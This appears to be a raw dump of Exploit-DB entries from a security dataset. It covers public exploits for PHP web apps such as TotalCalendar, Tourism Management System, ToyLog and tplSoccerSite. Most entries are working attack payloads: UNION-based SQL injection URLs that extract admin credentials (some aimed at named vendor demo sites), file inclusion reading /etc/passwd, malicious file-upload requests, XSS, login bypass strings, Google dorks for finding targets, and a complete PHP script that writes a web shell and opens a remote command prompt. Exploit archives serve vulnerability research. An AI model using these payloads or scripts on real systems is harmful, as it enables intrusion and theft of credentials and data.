deardaniel/secdata-raw huggingface dataset:
Exploit-DB #9524
Description: totalcalendar 2.4 - Blind SQL Injection / Local File Inclusion
Type: webapps
Platform: php
Date: 2009-08-26
Author: Moudi

Exploit:
/*

              _____       _ ___        __          
             | ____|_   _(_) \ \      / /_ _ _   _ 
             |  _| \ \ / / | |\ \ /\ / / _` | | | |
             | |___ \ V /| | | \ V  V / (_| | |_| |
             |_____| \_/ |_|_|  \_/\_/ \__,_|\__, |
                                              |___/ 
                                    _____                    
                                   |_   _|__  __ _ _ __ ___  
                                      | |/ _ \/ _` | '_ ` _ \ 
                                      | |  __/ (_| | | | | | |
                                      |_|\___|\__,_|_| |_| |_|

TotalCalendar 2.4 (bSQL/LFI) Multiples Remote Vulnerability

Discovered By : Moudi
Contact : <m0udi@9.cn>
Download : http://sweetphp.com/nuke/modules.php?name=Script_Preview&script=12

Greetings : Mizoz, Zuka, str0ke, 599eme Man.
Please visit: http://unkn0wn.ws/board/index.php

*/

[+] Exploit bSQL:

- Vulnerable code in rss.php (selectedCal).

- Poc:
  http://127.0.0.1/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=[bSQL]

  http://www.sweetphp.com/projects/TotalCalendar_2/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='0 TRUE
  http://www.sweetphp.com/projects/TotalCalendar_2/rss.php?feedBox=Upcoming_Events&action=SwitchCal&selectedCal=1'+and+2-2='1 FLASE

[+] Exploit LFI:

- Vulnerable code in box_display.php (box).

- Poc:
  http://127.0.0.1/box_display.php?box=[LFI]

  http://www.sweetphp.com/projects/TotalCalendar_2/box_display.php?box=../../../../../../../../etc/passwd%00.htm

# milw0rm.com [2009-08-26]
Exploit-DB #4130
Description: TotalCalendar 2.402 - 'view_event.php' SQL Injection
Type: webapps
Platform: php
Date: 2007-06-30
Author: t0pP8uZz

Exploit:
--==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--



AUTHOR: t0pP8uZz & xprog
SITE: http://sweetphp.com/nuke/index.php
DORK: allintext:"Powered by: TotalCalendar"

DESCRIPTION:
Remote SQL injection in view_event.php id, able to pull admin username/md5hash. 

EXPLOIT:
http://site.com/calender/path/view_event.php?id=-1'/**/UNION/**/ALL/**/SELECT/**/1,2,3,concat(username,0x3a,pw),5,6,7,8,9,10,11,12,13,14,15/**/FROM/**/tcal_users/**/WHERE/**/uid=1/*

Tip/Note:
Login is in /auth.php?action=login
Older versions of this script are using magic quotes, while the newest is not.
The module version (ie: modules.php?name=totalcalendar) of this script has the vulnerabilities but php-nuke never lets them reach the module.


GREETZ: milw0rm.com, H4CKY0u.org, G0t-Root.net !


--==+================================================================================+==--
--==+                TotalCalendar 2.402 SQL Injection Vulnerability                 +==--
--==+================================================================================+==--

# milw0rm.com [2007-06-30]
Exploit-DB #36074
Description: TotalShopUK 1.7.2 - 'index.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-08-22
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/49263/info

TotalShopUK is prone to an SQL-injection vulnerability because the application fails to properly sanitize user-supplied input before using it in an SQL query.

A successful exploit may allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database.

TotalShopUK 1.7.2 is vulnerable; other versions may also be affected.

http://www.example.com/products/c/index.php/1'
Exploit-DB #41733
Description: Tour Package Booking 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-03-26
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: Tour Package Booking v1.0 - SQL Injection
# Google Dork: N/A
# Date: 26.03.2017
# Vendor Homepage: http://eagletechnosys.com/
# Software: www.eaglescripts.com/tour-package-booking-script
# Demo: http://tourbooking.phpscriptsdemo.com/
# Version: 1.0
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/package/category/1[SQL]
# http://localhost/[PATH]/package_detail/1[SQL]
# Etc...
# # # # #
Exploit-DB #48892
Description: Tourism Management System 1.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2020-10-19
Author: Ankita Pal

Exploit:
#Exploit Title: Tourism Management System 1.0 - Arbitrary File Upload
#Date: 2020-10-19
#Exploit Author: Ankita Pal & Saurav Shukla
#Vendor Homepage: https://phpgurukul.com/tourism-management-system-free-download/
#Software Link: https://phpgurukul.com/?smd_process_download=1&download_id=7204
#Version: V1.0
#Tested on: Windows 10 + xampp v3.2.4


Proof of Concept:::

Step 1: Open the affected URL http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php

Step 2: Open Tour Package -> Create

Malicious Request:::

POST /Tourism%20Management%20System%20-TMS/tms/admin/create-package.php HTTP/1.1
Host: localhost:8081
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Length: 1101
Origin: http://localhost:8081
Connection: close
Referer: http://localhost:8081/Tourism%20Management%20System%20-TMS/tms/admin/create-package.php
Cookie: PHPSESSID=q9kusr41d3em013kbe98b701id
Upgrade-Insecure-Requests: 1

----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packagename"

Pack1
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packagetype"

Family
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packagelocation"

Manali
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packageprice"

21
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packagefeatures"

Free
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packagedetails"

Details
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="packageimage"; filename="file1.php"
Content-Type: application/octet-stream

<?php
	phpinfo();
?>
----------------------------[PII_REDACTED][PII_REDACTED]865592713
Content-Disposition: form-data; name="submit"


----------------------------[PII_REDACTED][PII_REDACTED]865592713--
Exploit-DB #51923
Description: Tourism Management System v2.0 - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2024-03-25
Author: SoSPiro

Exploit:
# Exploit Title: Tourism Management System v2.0 - Arbitrary File Upload
# Google Dork: N/A
# Exploit Author: SoSPiro
# Date: 2024-02-18
# Vendor Homepage: https://phpgurukul.com
# Software Link: https://phpgurukul.com/tourism-management-system-free-download/
# Version: 2.0
# Tested on: Windows 10 Pro
# Impact: Allows admin to upload all files to the web server
# CVE : N/A


# Exploit Description:
The application is prone to an arbitrary file-upload because it fails to adequately sanitize user-supplied input.

# PoC request


POST /zer/tms/admin/change-image.php?imgid=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED][PII_REDACTED]786831201
Content-Length: 361
Origin: http://localhost
Connection: close
Referer: http://localhost/zer/tms/admin/change-image.php?imgid=1
Cookie: PHPSESSID=eqms3ipedmm41hqa1djnu1euhv
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
X-PwnFox-Color: red

----------------------------[PII_REDACTED][PII_REDACTED]786831201
Content-Disposition: form-data; name="packageimage"; filename="phpinfo.php"
Content-Type: text/plain

<?php phpinfo();?>
----------------------------[PII_REDACTED][PII_REDACTED]786831201
Content-Disposition: form-data; name="submit"


----------------------------[PII_REDACTED][PII_REDACTED]786831201--




===========================================================================================

- Response -

HTTP/1.1 200 OK
Date: Sun, 18 Feb 2024 04:33:37 GMT
Server: Apache/2.4.54 (Win64) PHP/8.1.13 mod_fcgid/2.3.10-dev
X-Powered-By: PHP/8.1.13
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Connection: close
Content-Type: text/html; charset=UTF-8
Content-Length: 8146

============================================================================================

- File location -

http://localhost/zer/tms/admin/pacakgeimages/phpinfo.php
Exploit-DB #36080
Description: Tourismscripts Hotel Portal - 'hotel_city' HTML Injection
Type: webapps
Platform: php
Date: 2011-08-24
Author: Eyup CELIK

Exploit:
source: https://www.securityfocus.com/bid/49297/info

Hotel Portal is prone to an HTML-injection vulnerability because it fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML and script code would run in the context of the affected browser, potentially allowing the attacker to steal cookie-based authentication credentials or control how the site is rendered to the user. Other attacks are also possible. 

http://www.example.com/city.php?hotel_city=%22%2F%3E%3C%2Fa%3E%3C%2F%3E%3Cimg+src%3D1.gif+onerror%3Dalert%281%29%3E&dayfrom=23&monthfrom=8&yearfrom=2011&dayback=24&monthback=8&yearback=2011&guest=1&rooms=1&hotel_stars=&pricefrom=0&pricetill=250&B1=Search
Exploit-DB #34599
Description: tourismscripts HotelBook - 'hotel_id' Multiple SQL Injections
Type: webapps
Platform: php
Date: 2009-09-10
Author: Mr.SQL

Exploit:
source: https://www.securityfocus.com/bid/42975/info

HotelBook is prone to multiple SQL-injection vulnerabilities because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting these issues could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/hotel.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
http://www.example.com/details.php?hotel_id=1'+UNION+SELECT+0,0,0,0,0,CONCAT_WS(0x3a3a,user_name,password,email),0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0+FROM+user/*
http://www.example.com/roomtypes.php?hotel_id=1'+UNION+SELECT+0,0,CONCAT_WS(0x3a3a3a3a3a,user_name,password,email),0,0,0,0,0,0,0,0+FROM+user/*
http://www.example.com/photos.php?hotel_id=1' << SQL >>
http://www.example.com/map.php?hotel_id=1' << SQL >>
http://www.example.com/weather.php?hotel_id=1' << SQL >>
http://www.example.com/reviews.php?hotel_id=1' << SQL >>
http://www.example.com/book.php?hotel_id=1' << SQL >>
Exploit-DB #6988
Description: Tours Manager 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2008-11-04
Author: G4N0K

Exploit:
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
								IN THE NAME OF ALLAH
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Tours Manager v1 (cityview.php cityid) SQL Injection Vulnerability
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

[~] Script:         	Tours Manager v1
[~] Language :         	PHP
[~] Website:	     	http://www.toursmanager.com
[~] Type :             	Commercial
[~] Report-Date :     	04/11/2008


--[ Founder ]--
G4N0K <mail.ganok[at]gmail.com>


--[ Exploit ]--
[+] http://localhost/[path]/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--



--[ L!ve ]--
[+] http://www.toursmanager.com/demo/cityview.php?cityid=-5+UNION+ALL+SELECT+1,2,3,concat(user(),0x3a,version()),5--



--[ Greetz ]--
[~] ALLAH
[~] Tornado2800 <Tornado2800[at]gmail.com>
[~] Hussain-X <darkangel_g85[at]yahoo.com>

//Are ya looking for something that has not BUGz at all...!? I know it... It's The Holy Quran. [:-)
//ALLAH, forgimme...

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
exit(); //EoX
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

# milw0rm.com [2008-11-04]
Exploit-DB #7176
Description: ToursManager - 'tourview.php' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-11-20
Author: XaDoS

Exploit:
[>] Name:-->             ToursManager PhP Script <= Blind Sql Injection
 
[>] Discovered by:-->  XaDoS
 
[>] ContacT m&:-->     xados[at]hotmail.it
 
[>] Site:-->                http://www.toursmanager.com
 
#########
 
[â– ] Â£XpLoIT:
 
|: http://www.demosite.com/tourview.php?tourid=2%20and%201=1--   (true)
 
|: http://www.demosite.com/tourview.php?tourid=2%20and%201=0--   (false)
 
Version:
|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=5  (true)
|: http://www.demosite.com/tourview.php?tourid=2+and+substring(@@version,1,1)=4  (false)
 
V=> 5.x.x XD
 
#########
[â– ] D&M0:
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2%20and%201=1--
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2%20and%201=0--
 
|: http://www.toursmanager.com/demo/tourview.php?tourid=2+and+substring(@@version,1,1)=5 
 
#########
 
[â– ] Th4Nks T0:
 
\> Boom3rang </ (very kind) ;-)
\> Langy  </
\> Str0ke </
 
#########

# milw0rm.com [2008-11-20]
Exploit-DB #4555
Description: TOWeLS 0.1 - 'scripture.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-10-22
Author: GoLd_M

Exploit:
TOWeLS version 0.1 (scripture.php) Remote File Inclusion Vulnerability
http://sourceforge.net/project/showfiles.php?group_id=126659 / towels-0.1.zip /
/towels-0.1/src/scripture.php?pageHeaderFile=http://localhost/shell.txt?

# milw0rm.com [2007-10-22]
Exploit-DB #9109
Description: ToyLog 0.1 - SQL Injection / Remote Code Execution
Type: webapps
Platform: php
Date: 2009-07-10
Author: darkjoker

Exploit:
--+++=====================================================================================+++--
--+++====== ToyLog 0.1 SQL Injection Vulnerability/Remote Command Execution Exploit ======+++--
--+++=====================================================================================+++--

[+] SQL Injection Vulnerability
Url: http://localhost/ToyLog/read.php?idm=1%20UNION%20ALL%20SELECT%201,username,password,4%20FROM%20user

[+] Remote Command Execution Exploit

#!/usr/bin/php
<?php

function usage () {
	exit (	"\n".
		"+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+\n".
		"-                                                   -\n".
		"+ ToyLog 0.1 Remote Command Execution Exploit       +\n".
		"- Author  : darkjoker                               -\n".
		"+ Site    : http://darkjoker.net23.net              +\n".
		"- Download: http://sourceforge.net/projects/toylog/ -\n".
		"+ Usage   : php xpl.php <url>                       +\n".
		"- Ex.     : php xpl.php http://localhost/ToyLog/    -\n".
		"+                                                   +\n".
		"-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-\n".
		"\n");
}

function hex_format ($string) {
	$i=0;
	while ($i<strlen($string)) 
		$hex .= "%".dechex(ord($string[$i++]));
	return $hex;
}

function get_path ($host, $dir) {
	$fp = fsockopen ($host, 80);
	$query = hex_format ("1 UNION ALL SELECT * FROM does_not_exist");
	$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
		"Host: {$host}\r\n".
		"Connection: Close\r\n\r\n";
	fputs ($fp, $req);
	while (!feof ($fp)) 
		if (preg_match ("|resource in <b>(.+?)</b> on|", fgets ($fp, 1024), $data))
			$path = $data [1];
	list ($path) = explode ("block/db.php", $path);
	fclose ($fp);
	return $path;
}

function upload_shell ($host, $dir) {
	$fp = fsockopen ($host, 80);
	$shell_path = get_path ($host, $dir)."shell.php";
	if (!strcmp ($shell_path, "shell.php"))
		die ("[-] Exploit failed.\n");
	$query = hex_format('1 UNION ALL SELECT 1,2,\'xxx<?php system (stripslashes($_GET[\\\'cmd\\\'])); ?>xxx\',4 INTO OUTFILE \''.$shell_path.'\' FROM post');
	$req =	"GET {$dir}read.php?idm={$query} HTTP/1.1\r\n".
		"Host: {$host}\r\n".
		"Connection: Close\r\n\r\n";
	fputs ($fp, $req);
	fclose ($fp);
}

if (!preg_match ("|http://(.+?)(/.+/)|", $argv [1], $data))
	usage ();
array_shift ($data);
list ($host, $dir) = $data;
upload_shell ($host, $dir);
$stdin = fopen ("php://stdin", "r");
while (1) {
	echo "backdoor@{$host}: ";
	$cmd = hex_format(trim (fgets ($stdin, 1024)));
	if (!strcmp ($cmd, hex_format("exit")))
		break;
	$out = explode ("xxx", file_get_contents ("http://{$host}{$dir}shell.php?cmd={$cmd}"));
	array_shift ($out);
	array_pop ($out);
	echo $out [0];
}

?>

# milw0rm.com [2009-07-10]
Exploit-DB #43085
Description: tPanel 2009 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-10-30
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: tPanel 2009 - Authentication Bypass 
# Dork: N/A
# Date: 30.10.2017
# Vendor Homepage: http://www.datacomponents.net/
# Software Link: http://www.datacomponents.net/products/hosting/tpanel/
# Demo: http://demo.datacomponents.net/tpanel/
# Version: 2009
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: CVE-2017-15974
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
# 
# Proof of Concept: 
# 
# 
# http://localhost/[PATH]/login.php
# 
# User: 'or 1=1 or ''=' Pass: anything
# 
# Etc..
# # # # #
Exploit-DB #6088
Description: tplSoccerSite 1.0 - Multiple SQL Injections
Type: webapps
Platform: php
Date: 2008-07-16
Author: Mr.SQL

Exploit:
###############################################################
#################### Viva IslaM Viva IslaM ####################
##
## Remote SQL injection Vulnerability
##
## tplSoccerSite 1.0 ( player.php id )
##                            
###############################################################
###############################################################
##
## AuTh0r : Mr.SQL
##
## H0ME   : WwW.PaL-HaCkEr.CoM  &&  WwW.AtsDp.CoM/f
##
## Email  : SQL@Hotmail.it
##
## SYRiAN Arab HACkErS
########################
########################
##
## -[[: L!VE DEMO :]]-
##
## 1) www.tpl-design.com/tplsoccersite/tampereunited/index.php?id=-1'+UNION+SELECT+0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword)MrSQL,current_user,0,0+FROM+tplss_passwords/*
## 2) www.tpl-design.com/tplsoccersite/tampereunited/player.php?id=-1'+UNION+SELECT+0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0,0,0,0,0,0+FROM+tplss_passwords/*
## 3) www.tpl-design.com/tplsoccersite/tampereunited/opponent.php?opp=-1'+UNION+SELECT+CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0,0+FROM+tplss_passwords/*
## 4) www.tpl-design.com/tplsoccersite/tampereunited/matchdetails.php?id=-1'+UNION+SELECT+0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,CONCAT_WS(0x3a,PasswordUser,PasswordPassword),0,0,0,0,0+FROM+tplss_passwords/*
## 5) www.tpl-design.com/tplsoccersite/tampereunited/additionalpage.php?id=-1'+UNION+SELECT+CONCAT_WS(0x3a,PasswordUser,PasswordPassword),'MrSQL',0+FROM+tplss_passwords/*
##
########################
########################
 -[[ NOTE ]]-
1 ) Download [[ tplSoccerSite 1.0 ]]   http://www.tpl-design.com/download/tpl_ss_10_free.zip
 
#######################################################################################################
#######################################################################################################
                                  -(:: !Gr3E3E3E3E3E3E3TzZ! ::)-
                                         
 :: HaCkEr_EGy :: His0k4 :: Dark MaSTer :: MoHaMeD el 3rab :: ALwHeD :: milw0rm :: MuslimS HaCkErS ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-07-16]
Exploit-DB #16214
Description: tplSoccerStats - 'player.php' SQL Injection
Type: webapps
Platform: php
Date: 2011-02-23
Author: AtT4CKxT3rR0r1ST

Exploit:
tplSoccerStats (player.php) Sql Injection Vulnerability 
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Dork           : intitle:"Powered by tplSoccerStats" inurl:"player.php"
.:. Home           : http://www.sec-risk.com/vb/
####################################################################

===[ Exploit ]===

www.site.com/player.php?id==null[Sql]

www.site.com/player.php?id=null'+and+1=2+union+select+1,2,3,version(),5,6,7,8,9,10-- -
####################################################################
Exploit-DB #34077
Description: TPO Duyuru Scripti - Insecure Cookie Authentication Bypass
Type: webapps
Platform: php
Date: 2010-06-02
Author: Septemb0x

Exploit:
source: https://www.securityfocus.com/bid/40519/info

TPO Duyuru Scripti is prone to an authentication-bypass vulnerability because it fails to adequately verify user-supplied input used for cookie-based authentication.

Attackers can exploit this vulnerability to gain administrative access to the affected application, which may aid in further attacks. 

The following example data is available:

javascript:document.cookie = "kullanici=; path=/";